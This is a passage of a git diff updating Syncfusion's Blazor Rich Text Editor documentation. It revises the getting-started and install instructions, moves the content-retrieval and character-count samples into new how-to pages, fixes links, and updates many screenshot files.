-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-    private List<ImageToolbarItemModel> Image = new List<ImageToolbarItemModel>()
-    {
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Replace },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Align },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Caption },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Remove },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.OpenImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.HorizontalSeparator },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.EditImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.RemoveImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Display },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.AltText },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Dimension }
-    };
-    private List<LinkToolbarItemModel> Link = new List<LinkToolbarItemModel>()
-    {
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.Open },
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.Edit },
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.UnLink }
-    };
-}
+....
+using Syncfusion.Blazor;
+....
+builder.Services.AddSyncfusionBlazor();
+....
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBeXatSJUnenDUw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor with Image](./images/blazor-richtexteditor-image.png)" %}
+## Add stylesheet and script resources
 
-## Retrieve the formatted content
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
-To retrieve the editor contents in HTML format, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of Rich Text Editor, and to fetch the editor content as plain text, use the [GetText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetTextAsync) method of Rich Text Editor.
+```html
 
-{% tabs %}
-{% highlight razor %}
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetValue">Get Value</SfButton>
-<SfButton @onclick="@GetText">Get Text</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" />
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
-    private async Task GetValue()
-    {
-        this.Content = this.RteValue;
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task GetText()
-    {
-        this.Content = await this.RteObj.GetTextAsync();
-        this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
+```
 
-{% endhighlight %}
-{% endtabs %}
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Retrieve the number of characters
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor component
 
-To retrieve the number of characters in the Rich Text Editor content, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method of the Rich Text Editor.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
-@using Syncfusion.Blazor.Buttons
 @using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" />
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
-    private async Task GetCharCount()
-    {
-        double charCount = await this.RteObj.GetCharCountAsync();
-        this.Content = charCount.ToString(); // Convert double to string
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
+
+<SfRichTextEditor>
+    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
+    <p><b>Get started Quick Toolbar to click on the image</b></p>
+    <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
+</SfRichTextEditor>
 
 {% endhighlight %}
 {% endtabs %}
 
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RichTextEditor component in the default web browser.
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBdjohZVVUMIRjO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor Component](./images/blazor-richtexteditor.png)" %}
+
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RichTextEditor).
+
 ## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](../getting-started/blazor-webassembly-app)
diff --git a/blazor/rich-text-editor/how-to/blazor-web-assembly.md b/blazor/rich-text-editor/how-to/blazor-web-assembly.md
index a74409f846..db65636e6f 100644
--- a/blazor/rich-text-editor/how-to/blazor-web-assembly.md
+++ b/blazor/rich-text-editor/how-to/blazor-web-assembly.md
@@ -21,20 +21,66 @@ This article provides a step-by-step instructions for building Blazor WebAssembl
 
 You can create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-7.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RichTextEditor and Themes NuGet in the App
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-To add `Blazor RichTextEditor` component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), search and install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, you can utilize the following package manager command to achieve the same.
+Install the following NuGet packages in your project:
+
+* [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor)  
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
-
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.RichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
@@ -103,6 +149,6 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RichTextEditor c
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RichTextEditor component in your default web browser.
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RichTextEditor component in the default web browser.
 
 ![Blazor RichTextEditor Component](../images/blazor-richtexteditor-component.png)
diff --git a/blazor/rich-text-editor/how-to/retrieve-characters.md b/blazor/rich-text-editor/how-to/retrieve-characters.md
new file mode 100644
index 0000000000..490b26bc90
--- /dev/null
+++ b/blazor/rich-text-editor/how-to/retrieve-characters.md
@@ -0,0 +1,55 @@
+---
+layout: post
+title: How to Get Character Count in Blazor RichTextEditor | Syncfusion
+description: Checkout and learn about how to get character count of characters in Blazor RichTextEditor component of Syncfusion, and more details.
+platform: Blazor
+control: RichTextEditor
+documentation: ug
+---
+
+# Retrieve the number of characters
+
+To retrieve the number of characters in the Rich Text Editor content, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Buttons
+@using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Popups
+
+<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
+
+<br />
+<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
+          Width="400px" ShowCloseIcon="true">
+    <DialogButtons>
+        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
+    </DialogButtons>
+
+</SfDialog>
+<SfRichTextEditor @ref="RteObj" @bind-Value="@RteValue"/>
+
+@code {
+    SfRichTextEditor RteObj;
+    SfDialog DialogObj;
+    private string Content;
+    private bool Visibility = false;
+    private string Header = "Rich Text Editor's Value";
+    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
+    private async Task GetCharCount()
+    {
+        double charCount = await this.RteObj.GetCharCountAsync();
+        this.Content = charCount.ToString(); // Convert double to string
+        await this.DialogObj.ShowAsync();
+    }
+    private async Task DlgButtonClick(object arg)
+    {
+        await this.DialogObj.HideAsync();
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+![Blazor Rich Text Editor Number of Characters](../images/blazor-richtexteditor-number-character.png)
\ No newline at end of file
diff --git a/blazor/rich-text-editor/how-to/retrieve-content.md b/blazor/rich-text-editor/how-to/retrieve-content.md
new file mode 100644
index 0000000000..1e4a1b32ed
--- /dev/null
+++ b/blazor/rich-text-editor/how-to/retrieve-content.md
@@ -0,0 +1,62 @@
+---
+layout: post
+title: How to Retrieve the Content in Blazor RichTextEditor | Syncfusion
+description: Checkout and learn about how to retrieve the formatted content in Blazor RichTextEditor component of Syncfusion, and more details.
+platform: Blazor
+control: RichTextEditor
+documentation: ug
+---
+
+# Retrieve the formatted content
+
+To retrieve the editor contents in HTML format, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of Rich Text Editor, and to fetch the editor content as plain text, use the [GetText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetTextAsync) method of Rich Text Editor.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Buttons
+@using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Popups
+
+<SfButton @onclick="@GetValue">Get Value</SfButton>
+<SfButton @onclick="@GetText">Get Text</SfButton>
+
+<br />
+<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
+          Width="400px" ShowCloseIcon="true">
+    <DialogButtons>
+        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
+    </DialogButtons>
+
+</SfDialog>
+<SfRichTextEditor @ref="RteObj" Value="@RteValue" />
+
+@code {
+    SfRichTextEditor RteObj;
+    SfDialog DialogObj;
+    private string Content;
+    private bool Visibility = false;
+    private string Header = "Rich Text Editor's Value";
+    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
+    private async Task GetValue()
+    {
+        this.Content = this.RteValue;
+        await this.DialogObj.ShowAsync();
+    }
+    private async Task GetText()
+    {
+        this.Content = await this.RteObj.GetTextAsync();
+        this.DialogObj.ShowAsync();
+    }
+    private async Task DlgButtonClick(object arg)
+    {
+        await this.DialogObj.HideAsync();
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+![Blazor Rich Text Editor to Get Value](../images/blazor-richtexteditor-how-formatted-value.png)
+
+![Blazor Rich Text Editor to Get Text](../images/blazor-richtexteditor-how-formatted-text.png)
\ No newline at end of file
diff --git a/blazor/rich-text-editor/how-to/rte-inside-dialog.md b/blazor/rich-text-editor/how-to/rte-inside-dialog.md
index 3da5377348..d462fcf3e7 100644
--- a/blazor/rich-text-editor/how-to/rte-inside-dialog.md
+++ b/blazor/rich-text-editor/how-to/rte-inside-dialog.md
@@ -7,9 +7,9 @@ control: RichTextEditor
 documentation: ug
 ---
 
-# RichTextEditor inside the Dialog Component
+# Rich Text Editor inside the Dialog Component
 
-While rendering the Rich Text Editor inside the Dialog component, the dialog container and its wrapper elements are styled with display as none, so the editor’s toolbar does not get proper offset width and will render above the edit area container. To resolve this issue, you can call the RefreshUI method of RichTextEditor in the Dialog Opened event.
+While rendering the Rich Text Editor inside the [Dialog](https://blazor.syncfusion.com/documentation/dialog/getting-started-with-web-app) component, the dialog container and its wrapper elements are styled with display as none, so the editor’s toolbar does not get proper offset width and will render above the edit area container. To resolve this issue, you can call the [RefreshUIAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_RefreshUIAsync) method of RichTextEditor in the [Dialog Opened](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Popups.DialogEvents.html#Syncfusion_Blazor_Popups_DialogEvents_Opened) event.
 
 {% highlight cshtml %}
 
@@ -40,8 +40,10 @@ While rendering the Rich Text Editor inside the Dialog component, the dialog con
     }
     private void DialogOpen()
     {
-        this.RteObj.RefreshUI();
+        this.RteObj.RefreshUIAsync();
     }
 } 
 
 {% endhighlight %}
+
+![Blazor RichTextEditor with Dialog Component](../images/blazor-richtexteditor-dialog-component.png)
\ No newline at end of file
diff --git a/blazor/rich-text-editor/how-to/update-value.md b/blazor/rich-text-editor/how-to/update-value.md
index 011ed0d303..633769d026 100644
--- a/blazor/rich-text-editor/how-to/update-value.md
+++ b/blazor/rich-text-editor/how-to/update-value.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Capture ctrl+s to update the value
 
-To achieve this, the `onkeydown` event can be bound to the `div` element that contains the Rich Text Editor. When the `Ctrl + S` key press is detected, the `GetXhtmlAsync` method is called to update the value, and the content is then saved in the required database.
+To achieve this, the `onkeydown` event can be bound to the `div` element that contains the Rich Text Editor. When the `Ctrl + S` key press is detected, the [GetXhtmlAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetXhtmlAsync) method is called to update the value, and the content is then saved in the required database.
 
 ```cshtml
 
@@ -97,4 +97,4 @@ To achieve this, the `onkeydown` event can be bound to the `div` element that co
     }
 }
 
-```
\ No newline at end of file
+```
diff --git a/blazor/rich-text-editor/iframe.md b/blazor/rich-text-editor/iframe.md
index e747761250..ab18398cd8 100644
--- a/blazor/rich-text-editor/iframe.md
+++ b/blazor/rich-text-editor/iframe.md
@@ -36,7 +36,7 @@ Here's an example of how to enable the iframe editor:
 
 ## Customizing IFrame attributes
 
-Add additional attributes to the body element of the iframe document using the[RichTextEditorIframeSettings.Attributes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorIFrameSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorIFrameSettings_Attributes) property. This property accepts name–value pairs in string format and can be used to override the default appearance of the content area.
+Add additional attributes to the body element of the iframe document using the [RichTextEditorIframeSettings.Attributes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorIFrameSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorIFrameSettings_Attributes) property. This property accepts name–value pairs in string format and can be used to override the default appearance of the content area.
 
 {% tabs %}
 {% highlight cshtml %}
diff --git a/blazor/rich-text-editor/images/alt-text.png b/blazor/rich-text-editor/images/alt-text.png
index 04f5e9589d..39f8d79cae 100644
Binary files a/blazor/rich-text-editor/images/alt-text.png and b/blazor/rich-text-editor/images/alt-text.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-allowedstyleproperties.gif b/blazor/rich-text-editor/images/blazor-richtexteditor-allowedstyleproperties.gif
new file mode 100644
index 0000000000..b010382f62
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-allowedstyleproperties.gif differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-alternative-text.png b/blazor/rich-text-editor/images/blazor-richtexteditor-alternative-text.png
new file mode 100644
index 0000000000..68f541633a
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-alternative-text.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-display.png b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-display.png
new file mode 100644
index 0000000000..16ea5940d0
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-display.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-quick-toolbar.png b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-quick-toolbar.png
index 68e353d460..e9d19e3710 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-quick-toolbar.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-quick-toolbar.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-remove.png b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-remove.png
index a5bca0112e..e0df699c20 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-remove.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-remove.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-replace.png b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-replace.png
index 9b122eb7a2..2e24d5949f 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-replace.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-replace.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-web.png b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-web.png
index c58e1b03c3..e8055c6ae4 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-audio-web.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-audio-web.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-audio.png b/blazor/rich-text-editor/images/blazor-richtexteditor-audio.png
new file mode 100644
index 0000000000..051eb421ce
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-audio.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-border.png b/blazor/rich-text-editor/images/blazor-richtexteditor-border.png
new file mode 100644
index 0000000000..66f9129693
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-border.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-bottom-toolbar.png b/blazor/rich-text-editor/images/blazor-richtexteditor-bottom-toolbar.png
index 8d97070a22..b9b0606a8e 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-bottom-toolbar.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-bottom-toolbar.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-buildin-font-name.png b/blazor/rich-text-editor/images/blazor-richtexteditor-buildin-font-name.png
deleted file mode 100644
index ca8666b581..0000000000
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-buildin-font-name.png and /dev/null differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-buildin-format.png b/blazor/rich-text-editor/images/blazor-richtexteditor-buildin-format.png
index 175f8a9f22..cf19d54f29 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-buildin-format.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-buildin-format.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-builtin-font-name.png b/blazor/rich-text-editor/images/blazor-richtexteditor-builtin-font-name.png
new file mode 100644
index 0000000000..4a00834f58
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-builtin-font-name.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-buildin-font-size.png b/blazor/rich-text-editor/images/blazor-richtexteditor-builtin-font-size.png
similarity index 100%
rename from blazor/rich-text-editor/images/blazor-richtexteditor-buildin-font-size.png
rename to blazor/rich-text-editor/images/blazor-richtexteditor-builtin-font-size.png
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-char-count.png b/blazor/rich-text-editor/images/blazor-richtexteditor-char-count.png
index 727f245c68..d65c3b47e1 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-char-count.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-char-count.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-character-count.png b/blazor/rich-text-editor/images/blazor-richtexteditor-character-count.png
new file mode 100644
index 0000000000..617cd1fa5b
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-character-count.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-check-list.png b/blazor/rich-text-editor/images/blazor-richtexteditor-check-list.png
new file mode 100644
index 0000000000..288117c9a3
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-check-list.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-code-view.png b/blazor/rich-text-editor/images/blazor-richtexteditor-code-view.png
index f45d65769d..1726960e87 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-code-view.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-code-view.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-deniedattribute.gif b/blazor/rich-text-editor/images/blazor-richtexteditor-deniedattribute.gif
new file mode 100644
index 0000000000..171fb4f5fc
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-deniedattribute.gif differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-dialog-component.png b/blazor/rich-text-editor/images/blazor-richtexteditor-dialog-component.png
new file mode 100644
index 0000000000..bcd4d616ef
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-dialog-component.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-enter-key.png b/blazor/rich-text-editor/images/blazor-richtexteditor-enter-key.png
deleted file mode 100644
index df443e4086..0000000000
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-enter-key.png and /dev/null differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-enterkey.gif b/blazor/rich-text-editor/images/blazor-richtexteditor-enterkey.gif
new file mode 100644
index 0000000000..01b710043f
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-enterkey.gif differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-expand-toolbar.png b/blazor/rich-text-editor/images/blazor-richtexteditor-expand-toolbar.png
index 2e10f085d8..524879a28f 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-expand-toolbar.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-expand-toolbar.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-floating.toolbar.png b/blazor/rich-text-editor/images/blazor-richtexteditor-floating.toolbar.png
index 06e09a876a..3afec2a8d9 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-floating.toolbar.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-floating.toolbar.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-format-code-block.png b/blazor/rich-text-editor/images/blazor-richtexteditor-format-code-block.png
index 9feb22999a..d853b0893c 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-format-code-block.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-format-code-block.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-fullscreen.png b/blazor/rich-text-editor/images/blazor-richtexteditor-fullscreen.png
index cd2fcd63b2..4180219567 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-fullscreen.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-fullscreen.png differ
